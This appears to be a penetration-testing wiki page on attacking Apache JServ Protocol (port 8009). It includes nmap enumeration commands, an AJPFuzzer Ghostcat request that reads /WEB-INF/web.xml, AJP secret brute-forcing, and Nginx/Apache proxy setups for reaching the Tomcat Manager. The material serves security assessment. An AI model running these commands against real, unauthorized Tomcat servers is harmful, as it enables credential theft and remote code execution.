8009 - Pentesting Apache JServ Protocol (AJP)

Basic Information

From https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

Default port: 8009

PORT     STATE SERVICE
8009/tcp open  ajp13

AJP is usually more interesting than plain HTTP because the backend trusts the proxy to set internal request metadata. In modern Tomcat, pay special attention to the connector attributes address, secret, secretRequired, and allowedRequestAttributesPattern when reviewing an exposed or reachable AJP service.

CVE-2020-1938 'Ghostcat'

This is an LFI vuln which allows to get some files like WEB-INF/web.xml which contains credentials. This is an exploit to abuse the vulnerability and AJP exposed ports might be vulnerable to it.

The patched versions are at or above 9.0.31, 8.5.51, and 7.0.100.

After Ghostcat, default AJP deployments became less attacker-friendly: Tomcat requires an AJP secret by default, listens on loopback by default unless configured otherwise, and rejects unknown forwarded request attributes unless they match allowedRequestAttributesPattern. However, if you can still reach 8009 from an untrusted network, treat it as a high-value target.

Enumeration

Automatic

nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>

# Ask AJP directly for interesting paths and save the response body
nmap -p 8009 --script ajp-request \
  --script-args 'path=/manager/html,method=GET,filename=ajp-manager.out' <IP>

# Check allowed methods and headers on a custom path
nmap -p 8009 --script ajp-headers,ajp-methods \
  --script-args 'ajp-headers.path=/,ajp-methods.path=/manager/html' <IP>

Brute force

Manual / Protocol-Aware Tooling

Doyensec's AJPFuzzer is very useful when you need to craft ForwardRequest packets, brute-force secrets, or fuzz request attributes instead of just replaying normal HTTP semantics.

# Reproduce Ghostcat-style file disclosure primitives
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 <TARGET_IP> <TARGET_IP> 8009 false \
  "Cookie:test=value" \
  "javax.servlet.include.path_info:/WEB-INF/web.xml,javax.servlet.include.servlet_path:/"
# Fuzz secret handling or attribute parsing
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \
  "Cookie:AAAA=BBBB" \
  "secret:FUZZ" /tmp/ajp_secret_candidates.txt

Request Attributes Abuse

AJP is not just "HTTP over another port". The protocol can carry trusted request attributes such as authenticated user information, TLS details, client certificate material, and arbitrary req_attribute name/value pairs. Historically, Ghostcat abused javax.servlet.include.servlet_path and javax.servlet.include.path_info to force server-side includes such as /WEB-INF/web.xml.

When assessing an AJP-exposed target, look for applications that make security decisions based on proxy-supplied data such as:

  • REMOTE_USER / remote_user
  • Client certificate related attributes (javax.servlet.request.X509Certificate, cipher, key size, SSL session)
  • Source address / proxy metadata (AJP_LOCAL_ADDR, AJP_REMOTE_PORT, AJP_SSL_PROTOCOL)
  • Custom request attributes consumed via request.getAttribute()

Modern Tomcat rejects unknown forwarded attributes with 403 unless the name matches allowedRequestAttributesPattern, so a permissive regex or legacy connector configuration is worth investigating.

HTTP -> AJP Desync / Request Smuggling

Even when port 8009 is not directly exposed, AJP may still be reachable through an HTTP reverse proxy such as mod_proxy_ajp. Recent real-world bugs showed that HTTP frontends and AJP backends can disagree about request boundaries, turning an external HTTP desync into a smuggled AJP request.

From an offensive perspective, this is interesting because the backend may trust the smuggled request more than normal HTTP traffic and may honor proxy-populated fields such as authenticated user or SSL metadata. During assessments of Apache httpd -> Tomcat stacks, test for classic desync behavior plus AJP-specific trust boundaries, especially around internal-only paths, auth-gated admin endpoints, and connectors still using old mod_proxy_ajp versions.

AJP Proxy

Nginx Reverse Proxy + AJP

(Checkout the Dockerized version)

It's possible to communicate with an open AJP proxy port (8009 TCP) by using the Nginx third-party ajp_module and access the Tomcat Manager from this port which could ultimately lead to RCE in the vulnerable server. If the manager or host-manager becomes reachable, continue in this Tomcat page.

# Compile Nginx with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-version
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
  • Then, comment the server block and add the following in the http block in /etc/nginx/conf/nginx.conf.
upstream tomcats {
    server <TARGET_SERVER>:8009;
    keepalive 10;
    }
server {
    listen 80;
    location / {
        ajp_keep_conn on;
        ajp_pass tomcats;
    }
}
  • Finally, start nginx (sudo nginx) and check it works by accessing http://127.0.0.1

Nginx Dockerized-version

git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker

Replace TARGET-IP in nginx.conf with the AJP IP and then build and run:

docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy

Apache AJP Proxy

It's also possible to use an Apache AJP proxy to access that port instead of Nginx.

a2enmod proxy proxy_ajp

# Basic pivot to the backend AJP listener
ProxyPass / ajp://<TARGET_SERVER>:8009/
ProxyPassReverse / ajp://<TARGET_SERVER>:8009/

# If the backend requires an AJP secret (common in modern Tomcat/httpd)
# ProxyPass / ajp://<TARGET_SERVER>:8009/ secret=<AJP_SECRET>

References